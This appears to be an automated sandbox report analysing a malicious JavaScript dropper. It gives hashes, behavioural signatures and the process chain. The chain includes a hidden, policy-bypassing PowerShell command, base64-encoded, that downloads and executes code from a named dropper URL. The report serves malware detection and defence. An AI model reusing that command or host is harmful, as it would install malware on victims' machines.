a63d13b837402362b78cd324b8efe8c5bc58fca7fe1373fccbed082bc1166863

Analysis

max time kernel
8s
max time network
11s
platform
windows7_x64
resource
win7v20210410
submitted
29/07/2021, 05:06

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General

Target
2021APT-28_18972453.js
Size 76KB
Sample210729-mgtrfwc2f2
SHA256 a63d13b837402362b78cd324b8efe8c5bc58fca7fe1373fccbed082bc1166863
MD5 7c1420054c32209ab0f890dcdcb1580c
SHA1 04fb950f88f6d95a14cda5ded672ae878181bc73
SHA512 dbb7218505489a8ad7cc31c22338b19c9ffb8b2e605f7aff2bd9e451990b2f13ffb9b25c789b01d9da7c15f4a27ca97fbe8ccc95b121e4a0d8cee251d14811d1
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	1832	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1832	powershell.exe
1832	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1832	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2040 wrote to memory of 1440	2040	wscript.exe	26
PID 2040 wrote to memory of 1440	2040	wscript.exe	26
PID 2040 wrote to memory of 1440	2040	wscript.exe	26
PID 1440 wrote to memory of 1832	1440	cmd.exe	28
PID 1440 wrote to memory of 1832	1440	cmd.exe	28
PID 1440 wrote to memory of 1832	1440	cmd.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2021APT-28_18972453.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1832

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1832-61-0x000007FEFC141000-0x000007FEFC143000-memory.dmp

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memory/1832-62-0x0000000002780000-0x0000000002781000-memory.dmp

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memory/1832-63-0x000000001ACA0000-0x000000001ACA1000-memory.dmp

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memory/1832-64-0x000000001AA00000-0x000000001AA01000-memory.dmp

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memory/1832-65-0x000000001AC20000-0x000000001AC22000-memory.dmp

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memory/1832-66-0x000000001AC24000-0x000000001AC26000-memory.dmp

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memory/1832-67-0x000000001AA30000-0x000000001AA31000-memory.dmp

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memory/1832-68-0x000000001B650000-0x000000001B651000-memory.dmp

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